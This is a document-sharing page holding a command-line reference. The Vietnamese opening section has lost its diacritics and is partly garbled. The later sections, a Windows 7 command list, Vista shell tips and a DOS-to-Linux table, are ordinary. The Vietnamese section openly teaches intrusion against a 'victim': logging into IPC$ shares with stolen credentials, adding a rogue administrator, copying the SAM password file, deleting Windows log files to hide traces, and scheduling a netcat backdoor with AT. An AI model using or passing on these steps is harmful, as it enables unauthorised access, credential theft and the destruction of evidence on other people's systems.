DOS Command

You might also like

Download as pdf or txt
Download as pdf or txt
You are on page 1of 14

Cc lnh s dng trong dos (For winXP) Thursday, 26. June 2008, 04:46:23 1.

Lnh Ping : C php: Code: ping ip/host [/t][/a][/l][/n] - ip: a ch IP ca my cn kim tra; host l tn ca my tnh cn kim tra. Ngi ta c th s dng a ch IP hoc tn ca my tnh. - Tham s /t: S dng tham s ny my tnh lin tc "ping" n my tnh ch, cho n khi bn bm Ctrl + C - Tham s /a: Nhn a ch IP t tn host - Tham s /l : Xc nh rng ca gi tin gi i kim tra. Mt s hacker s dng tham s ny tn cng t chi dch v mt my tnh (Ping of Death - mt loi DoS), nhng ti ngh l hacker c cng c ring ping mt gi tin ln nh th ny, v phi c nhiu my tnh cng ping mt lt. - Tham s /n : Xc nh s gi tin s gi i. V d: ping 174.178.0.1/n 5 Cng dng : + Lnh ny c s dng kim tra xem mt my tnh c kt ni vi mng khng. Lnh Ping s gi cc gi tin t my tnh bn ang ngi ti my tnh ch. Thng qua gi tr m my tnh ch tr v i vi tng gi tin, bn c th xc nh c tnh trng ca ng truyn (chng hn: gi 4 gi tin nhng ch nhn c 1 gi tin, chng t ng truyn rt chm (xu)). Hoc cng c th xc nh my tnh c kt ni hay khng (Nu khng kt ni,kt qu l Unknow host)....

2. Lnh Tracert : C php : Code: tracert ip/host Cng dng : + Lnh ny s cho php bn "nhn thy" ng i ca cc gi tin t my tnh ca bn n my tnh ch, xem gi tin ca bn vng qua cc server no, cc router no... Qu hay nu bn mun thm d mt server no .

3. Lnh Net Send, gi thng ip trn mng (ch s dng trn h thng my tnh Win NT/2000/XP): C php: Net send ip/host thng_ip_mun_gi Cng dng: + Lnh ny s gi thng ip ti my tnh ch (c a ch IP hoc tn host) thng ip: thng_ip_mun_gi. + Trong mng LAN, ta c th s dng lnh ny chat vi nhau. Trong phng vi tnh ca trng tui thng dng lnh ny gho mi ngi! Bn cng c th gi cho tt c cc my tnh trong mng LAN theo cu trc sau : Code: Net send * hello!I'm pro_hacker_invn

4. Lnh Netstat : C php: Code: Netstat [/a][/e][/n] - Tham s /a: Hin th tt c cc kt ni v cc cng ang lng nghe (listening) - Tham s /e: hin th cc thng tin thng k Ethernet - Tham s /n: Hin th cc a ch v cc s cng kt ni... Ngoi ra cn mt vi

tham s khc, hy g Netstat/? bit thm Cng dng : + Lnh Netstat cho php ta lit k tt c cc kt ni ra v vo my tnh ca chng ta.

5. Lnh IPCONFIG : C php: Code: ipconfig /all Cng dng: + Lnh ny s cho php hin th cu hnh IP ca my tnh bn ang s dng, nh tn host, a ch IP, mt n mng...

6. Lnh FTP (truyn ti file): C php: Code: ftp ip/host Nu kt ni thnh cng n my ch, bn s vo mn hnh ftp, c du nhc nh sau: Code: ftp>_ Ti y, bn s thc hin cc thao tc bng tay vi ftp, thay v dng cc chng trnh kiu Cute FTP, Flash FXP. Nu kt ni thnh cng, chng trnh s yu cu bn nhp User name, Password. Nu username v pass hp l, bn s c php upload, duyt file... trn my ch. Mt s lnh ftp c bn: -cd thu_muc: chuyn sang th mc khc trn my ch - dir: Xem danh sch cc file v th mc ca th mc hin thi trn my ch - mdir thu_muc: To mt th mc mi c tn thu_muc trn my ch - rmdir thu_muc: Xo (remove directory) mt th mc trn my ch - put file: ti mt file file (y c ng dn. VD: c:\tp\bin\baitap.exe) t my bn ang s dng ln my ch. - close: ng phin lm vic - quit: Thot khi chng trnh ftp, quay tr v ch DOS command. Ngoi ra cn mt vi lnh na, xin mi cc bn t tm hiu. Cng dng : + FTP l mt giao thc c s dng gi v nhn file gia cc my tnh vi nhau. Windows ci t sn lnh ftp, c tc dng nh mt chng trnh chy trn nn console (vn bn), cho php thc hin kt ni n my ch ftp 7. Lnh Net View : C php: Code: Net View [\\computer|/Domain[:ten_domain]] Cng dng: + Nu ch nh net view [enter], n s hin ra danh sch cc my tnh trong mng cng domain qun l vi my tnh bn ang s dng. + Nu nh net view \\tenmaytinh, s hin th cc chia s ti nguyn ca my tnh tenmaytinh . Sau khi s dng lnh ny, cc bn c th s dng lnh net use s dng cc ngun ti nguyn chia s ny.

8. Lnh Net Use : C php: Code: Net use \\ip\ipc$ "pass" /user:"xxx" - ip: a ch IP ca victim. - xxx: user ca my victim - pass: password ca user Gi s ta c c user v pass ca victim c IP l 68.135.23.25 trn net th ta c th kt ni n my tnh ri y! V d: user: vitim ; pass :12345 . Ta dng lnh sau: Code: Net use \\68.135.23.25\ipc$ "12345" /user:"victim" Cng dng: + kt ni mt IPC$ n my tnh victim (bt u qu trnh xm nhp).

9. Lnh Net User : C php: Code: Net User [username pass] [/add] - Username : tn user cn add - pass : password ca user cn add Khi add c user vo ri th ta tin hnh add user ny vo nhm administrator. Code: Net Localgroup Adminstrator [username] [/add] Cng dng: + Nu ta ch nh lnh Net User th s hin th cc user c trong my tnh. + Nu ta nh lnh Net User [username pass] [/add] th my tnh s tin hnh thm mt ngi dng vo. V d: ta tin hnh add thm mt user c tn l xuanhoa , password l :banvatoi vo vi cu trc lnh nh sau: Code: Net User xuanhoa banvatoi /add Sau add user xuanhoa vo nhm adminnistrator Code: Net Localgroup Administrator xuanhoa /add

10. Lnh Shutdown: C php: Code: Shutdown [-m \\ip] [-t xx] [-i] [-l] [-s] [-r] [-a] [-f] [c "commet] [-d upx:yy] (p dng cho win XP) - Tham s -m\\ip : ra lnh cho mt my tnh t xa thc hin cc lnh shutdown, restart,.. - Tham s -t xx : t thi gian cho vic thc hin lnh shutdown. - Tham s -l : logg off (lu ko th thc hin khi remote) Tham s -s : shutdown - Tham s -r : shutdown v restart - Tham s -a : khng cho shutdown - Tham s -f : shutdown m ko cnh bo - Tham s -c "comment" : li cnh bo trc khi shutdown - Tham s -d upx:yy : ko r Code: shutdown \\ip (p dng win NT) r hn v lnh shutdown bn c th g shutdown /? c hng dn c th hn! Cng dng: + Shutdown my tnh.

11. Lnh DIR : C php: Code: DIR [drive:][path][filename] Lnh ny qu cn bn ri, chc tui khi hng dn, r hn bn nh lnh DIR /? c hng dn. Cng dng: + xem file, folder.

12. Lnh DEL : C php: Code: DEL [drive:][path][filename] Lnh ny cng cn bn ri, ko phi ni nhu. Cng dng: Xa mt file, thng thng sau khi xm nhp vo h thng, ta phi tin hnh xa du vt ca mnh khi b pht hin.Sau y l nhng files nht k ca Win NT: Code: del C:\winnt\system32\logfiles\*.* del C:\winnt\ssytem32\config\*.evt del C:\winnt\system32\dtclog\*.* del C:\winnt\system32\*.log del C:\winnt\system32\*.txt del C:\winnt\*.txt del C:\winnt\*.log

13. Lnh to a o trn computer: C php: Code: Net use z: \\ip\C$ ( hoc l IPC$ ) -

Z l ca mnh...cn C$ l ca Victim Cng dng: To 1 a o trn my tnh (lnh ny tui ko r nn ko th hng dn chi tit c)

14. Lnh Net Time : C php: Code: Net Time \\ip Cng dng: + Cho ta bit thi gian ca victim, sau dng lnh AT khi ng chng trnh.

15. Lnh AT: C php: Code: AT \\ip Cng dng: + Thng thng khi xm nhp vo my tnh victim khi rt lui th ta s tng qu lu nim ln my tnh victim, khi copy troj hoc backdoor ln my tnh ri ta s dng lnh at khi ng chng. V d: y tui c con troj tn nc.exe (NC l t vit tc ca NETCAT....n l mt telnet server vi port 99) v c copy ln my victim ri. u tin ta cn bit thi gian ca victim c IP l : 68.135.23.25 . Code: Net Time \\68.135.23.25 By h n s phn hi cho ta thi gian ca victim, v d : 12:00. Code: AT \\68.135.23.25 12:3 nc.exe i n 12:3 l n s t chy trn my nn nhn v chng ta c th connected n port 99. 16. Lnh Telnet: C php: Code: telnet host port G telnet /? bit thm chi tit. Nhng nu nh my victim dnh con nc ri th ta ch cn connect n port 99 l OKie Code: telnet 68.135.23.25 99 Cng dng: + Kt ni n host qua port xx

17. Lnh COPY: C php: Code: COPY /? Dng lnh trn r hn! Cng dng: + Copy file, tui khi ni thm nh. V d:chng ta copy files index trn C ca mnh ln C ca 127.0.0.1 Code: Copy Index.html \\127.0.0.1\C$\index.html nu bn copy ln folder winNt Code: Copy index.html \\127.0.0.1\admin$\index.html mun copy files trn my victm th bn g vo : Code: Copy \\127.0.0.1\Admin$\repair\sam._c:\

18. Lnh SET: C php: Code: SET Cng dng: + Displays, sets, or removes cmd.exe enviroment variables. 19. Lnh Nbtstat: C php: Code: Nbtstat /? G lnh trn r hn v lnh ny. Cng dng: + Display protocol statistic and curent TCP/IP connections using NBT (netbios over TCP?IP)

Commands in Windows 7 The command prompt that has been in previous versions of Windows is still with us and is not much changed fron Windows Vista. The command line remains a powerful and much used feature by system administrators everywhere. Thus, the old command interpreter cmd.exe has been continued although in a slightly newer version. Several commands are now in the standard list that were formerly available only on servers. New commandsare indicated with an asterisk in the list below. Note that some commands may require administrator privileges. A number of commands involving specialized system or network administration have been omitted. The commands given below remain in wide use but Microsoft has shifted its corporate emphasis to a new command shell called Powershell that is described on another page. This new command shell is included with Windows 7. ASSOC Displays or modifies file extension associations. ATTRIB Displays or changes file attributes. BREAK Sets or clears extended CTRL+C checking. BCDBOOT* Used to copy critical files to the system partition and to create a new system BCD store. BCDEDIT Sets properties in boot database to control boot loading. CACLS Displays or modifies access control lists (ACLs) of files. CALL Calls one batch program from another. CD Displays the name of or changes the current directory. CHCP Displays or sets the active code page number. CHDIR Displays the name of or changes the current directory. CHKDSK Checks a disk and displays a status report. CHKNTFS Displays or modifies the checking of disk at boot time. CHOICE Batch file command that allows users to select from a set of options. CIPHER Displays or alters the encryption of directories [files] on NTFS partitions. CLIP Redirects output of another command to the Windows clipboard. CLS Clears the screen. CMD Starts a new instance of the Windows command interpreter. CMDKEY Creates, lists and deletes stored user names and passwords or credentials. COLOR Sets the default console foreground and background colors. COMP Compares the contents of two files or sets of files byte-by-byte COMPACT Displays or alters the compression of files on NTFS partitions. CONVERT Converts FAT volumes to NTFS. You cannot convert the current drive. COPY Copies one or more files to another location.

DATE Displays or sets the date. DEFRAG Disk defragmenter accessory. DEL Deletes one or more files. DIR Displays a list of files and subdirectories in a directory. DISKCOMP Compares the contents of two floppy disks. DISKCOPY Copies the contents of one floppy disk to another. DISKPART Displays or configures Disk Partition properties. A separte command interpreter with a sub-set of commands. DOSKEY Edits command lines, recalls Windows commands, and creates macros. DRIVERQUERY Displays current device driver status and properties. ECHO Displays messages, or turns command echoing on or off. ENDLOCAL Ends localization of environment changes in a batch file. ERASE Deletes one or more files. EXIT Quits and closes the command shell. EXPAND Expands one or more compressed files. FC Compares two files or sets of files, and displays the differences between them. FIND Searches for a text string in a file or files. FINDSTR Searches for strings in files. FOR Runs a specified command for each item in a set. FORFILES Selects files in a folder for batch processing. FORMAT Formats a disk for use with Windows. FSUTIL Displays or configures the file system properties. FTYPE Displays or modifies file types used in file extension associations. GOTO Directs the Windows command interpreter to a labeled line in a batch program. GPRESULT Displays Group Policy information for machine or user. GRAFTABL Enables Windows to display an extended character set in graphics mode. HELP Provides Help information for Windows commands. ICACLS Display, modify, backup, or restore ACLs for files and directories (more here). IF Performs conditional processing in batch programs. IPCONFIG Displays all current TCP/IP network configuration values LABEL Creates, changes, or deletes the volume label of a disk. MD Creates a directory. MKDIR Creates a directory. MKLINK Creates Symbolic Links and Hard Links MODE Configures a system device. MORE Displays output one screen at a time. MOVE Moves one or more files from one directory to another directory.

OPENFILES Queries, displays, or disconnects open files or files opened by network users. PATH Displays or sets a search path for executable files. PAUSE Suspends processing of a batch file and displays a message. POPD Restores the previous value of the current directory saved by PUSHD. PRINT Prints a text file. PROMPT Changes the Windows command prompt. PUSHD Saves the current directory then changes it. RD Removes a directory. RECOVER Recovers readable information from a bad or defective disk. REM Designates comments (remarks) in batch files REN Renames a file or files. RENAME Renames a file or files. REPLACE Replaces files. RMDIR Removes a directory. ROBOCOPY Advanced utility to copy files and directory trees SET Displays, sets, or removes environment variables for current session. SETLOCAL Begins localization of environment changes in a batch file. SETX Sets environment variables. SC Displays or configures services (background processes). SCHTASKS Schedules commands and programs to run on a computer. SHIFT Shifts the position of replaceable parameters in batch files. SHUTDOWN Allows proper local or remote shutdown of machine. SORT Sorts input. START Starts a separate window to run a specified program or command. SUBST Associates a path with a drive letter. SYSTEMINFO Displays machine specific properties and configuration. TAKEOWN Allows an administrator to take ownership of a file (more here). TASKLIST Displays all currently running tasks including services. TASKKILL Kill or stop a running process or application. TIME Displays or sets the system time. TIMEOUT Pauses the command processor for the specified number of seconds.More here. TITLE Sets the window title for a CMD.EXE session. TREE Graphically displays the directory structure of a drive or path. TYPE Displays the contents of a text file. VER Displays the Windows version.

VERIFY Tells Windows whether to verify that your files are written correctly to a disk. VOL Displays a disk volume label and serial number. VSSADMIN Volume Shadow Copy Service administration tool WHERE Displays the location of files that match a search pattern. XCOPY Copies files and directory trees. WMIC Displays WMI information inside interactive command shell.

Tips for Using the Vista Command Shell Command-line tips specific to Windows Vista are given. For the most part, the features of the command line are the same in Vista as they are in Windows XP but there are some differences. (The Vista version is 6.0 whereas the XP version is 5.1.) Here are some tips that apply only to Vista. Run as administrator in Vista The Windows Vista operating system has a security feature called User Account Control that limits the privileges of users by default. Since the command line is usually involved with administrative tasks, you'll often want to run as an administrator. This can be done each time by right-clicking the icon for the command prompt and choosing "Run as" from the context menu . A more convenient way is to set the command prompt to run with administrator privileges by default. Right-click the command prompt shortcut icon and choose "Properties" from the context menu. Click the "Advanced" button and put a check by "Run as administrator". Click "OK". Note that you will still get the UAC message when you open the command prompt. Another way to run the command prompt as administrator is to enter "cmd" in Start Search and then use the keyboard combination Ctrl+Shift+ Enter. "Open Command Window Here" in Vista It is now easy to open a command prompt referenced to a folder of your choice in Vista. If the Shift key is held down while right-clicking a folder, the context menu will contain an entry, "Open Command Window Here". Selecting this entry will open a command prompt with the chosen folder as the reference point for commands. Open command window with administrator privileges anywhere The "Run as administrator" option mentioned above always opens with \Windows\System 32\ as the working directory. To open a command console with administrator privileges in any directory of choice, you can add a command to the rightclick context menu. The INF file to make the appropriate Registry edit can be downloaded here. It is from the PowerToy utility described at this link. Send command output to the Windows clipboard with clip.exe Vista comes with a command-line utility clip.exe that can be used to redirect or pipe the output of another command to the Windows clipboard. The command uses a "pipe" and

has the form: somecommand | clipFor example, to send a directory listing to the clipboard, the command is: dir | clip Place the contents of a text file into the Windows clipboard with clip.exe The utility clip.exe can also be used to read a text file and place its contents in the Windows clipboard. The command has the form: clip < somefile.txt Clear the Windows clipboard with clip.exe To clear the contents of the Windows clip board, use a "pipe" :echo off | clip The batch file command called "choice" is back in Vista Oldtimers will remember that DOS had a command for batch files called "choice" that allowed for some limited user interaction. The command was then removed from 32-bit command shells because the "set /p" option gave equivalent or better functionality. However, "choice" is back in Vista in a new form. Enter "choice /?" in a Vista command prompt for details about its features. Use the "choice" command to make a Vista batch file wait One useful application of the "choice" command is to make a batch file pause for a specified period of time. The statement has the form: choice /T n /D y > nul The switch "/T n" specifies a wait period of n seconds. The switch "/D y" creates a default choice of "yes". To suppress the unwanted text output of the command, it is redirected to the null device (nul). Use the "timeout" command to make a Vista batch file wait Another new command in in Vista is "timeout". It will cause the command processor to wait for a specified number of seconds or until a key is pressed. The format is timeout /T n where n is the number of seconds to wait. To make the command ignore any key presses, the switch /nobreak can be added: timeout /T n /nobreak Because the command gives output listing the time remaining, it may be necessary to use a redirect to nul. timeout /T n > nul Switch added to "Dir" to enable viewing Alternate Data Streams NTFS files can have added information in "streams" or "forks". These added items are normally hidden from access by most Windows functions such as Explorer. In Vista a

switch /R has been added to the "dir" command that allows alternate data streams to be listed. Enable the built-in master administrator account on the log-in screen Vista contains a master administrator account but it is not normally visible on the log-in screen. To enable it, open a command window with administrator privileges and use the command net user administrator /active:yes (Make sure that you assign a password to the account.) To remove the account from the log-in screen, use the command net user administrator /active:no Reduce the space used by System Restore with vssadmin System Restore can use up to 15% of a hard drive for its backup files (shadow storage). As hard drives get ever bigger, that becomes a lot of space. The command "vssadmin" can be used to administer settings for System Restore. To control the space allocation, open a command prompt with administrator privileges and enter vssadmin Resize ShadowStorage /For=C: /On=C: /Maxsize=[n] For [n] enter the desired size in MB or GB. The units must be stated: for example, "Maxsize=500MB" or "Maxsize=2GB". The example is for the C: drive. WARNING! This will delete all your old Restore Points! Find out how much space System Restore points occupy To find out how much space System \Restore is using, open the command prompt as administrator and enter vssadmin list shadowstorage Increase the file system memory cache with fsutil If you tend to open and close a lot of files, you may be able to increase performance by creating a larger value for a special cache setting with the file system utility command fsutil behavior set memoryusage 2According to Microsoft, this increases something called the "paged pool" memory. Do not use if you are already consuming large amounts of system memory with other activities. If performance after the change is unsatisfactory, undo it with the commandfsutil behavior set memoryusage 1These commands require administrator privileges. The commands change a Registry setting and take effect after a reboot. Use "takeown" to access certain files Vista protects many system files for security reasons and even an administrator is not allowed to access them. If you are denied access to a file while in an administrator

account, you can use the command line tool "takeown.exe" to reassign ownership. You will need to run the command from a command prompt with administrator privileges. The syntax is takeown /f some_file [/a] [/r]The specified filename can contain wildcards. You can also specify a folder. The optional switch "/a" transfers ownership to the administrators group. If omitted, the default is to transfer ownership to the present user account. The switch "/r" recurses subdirectories. Although this command assigns ownership, it does not give control rights. Thus if you wish to modify a system file (often not a good idea) you will probably have also to apply the "icacls" command discussed next. Obtain control rights to a file with "icacls" (Icacls.exe supersedes the "cacls" command of Windows XP. The older command is still available, however.) This command has a rather complex set of options. They can be displayed by entering "icacls /?" in a command prompt. One example is the command to grant full access rights to an account named user:icacls file_name /grant user:F Clean up Vista SP1 files When you install Vista service pack 1, a facility for uninstalling it is also created. If you have SP1 installed for a while and are satisfied that you will keep it, you can remove the uninstall files and free up almost a GB of disk space. To remove the backup files, use the command VSP1CLN.EXE (I have used caps to make the difference between "one" and "ell" clear but case doesn't matter.) Administrator privileges are required. After running this command, you will be unable to uninstall Vista SP1 so be sure you really want to keep it. Using drag and drop- not The useful capability to drag commands and drop them into a command prompt that was present in past versions of Windows does not work in Vista. (However, it has been restored in Windows 7.)

In this tutorial we will show you list of dos commands with corresponding linux commands.If you are new user to linux you can use this as reference DOS/Linux commands DOS commands assign <command> /? break on cd chdir cls copy date del dir doskey /h echo edit exit fc find format find hostname ipconfig mem mkdir more move ping Linux command ln man <command> trap cd pwd clear cp date rm ls history echo vim (or other editor) exit diff grep mke2fs or mformat grep hostname ifconfig free mkdir more or even less mv ping Action Create a file or directory link Help about the command Trap ctrl-break / Trap signals Change directory Display directory location Clear screen Copy a file Displays or sets the date Deletes one or more files Displays a list of files and subdirectories in a directory history List command history Displays messages, or turns commandechoing on or off Editor to edit files Exit the command prompt Compare two files and show differences Searches for a text string in a file or files Formats a disk Look for a word in files given in command line Print host name of computer Display/configure network interface Displays the amount of used and free memory in your system Create a Directory Displays output one screen at a time Moves files and renames files and directories Send packets to a network host

DOS commands assign route print reboot ren set tracert time tasklist type ver win xcopy

Linux command ln route -n shutdown -r now mv set or env traceroute date ps -aux top cat Uname -a startx cp -R

Action Create a file or directory link Print routing table Reboot system Renames a file or files List all environment variables Show routes and router hops to given network destination Displays or sets the system time top List executable name, process ID number and memory usage of active processes Dump contents of a file to users screen Operating system/shell version Start x-windows Copy all file of directory recursively

You might also like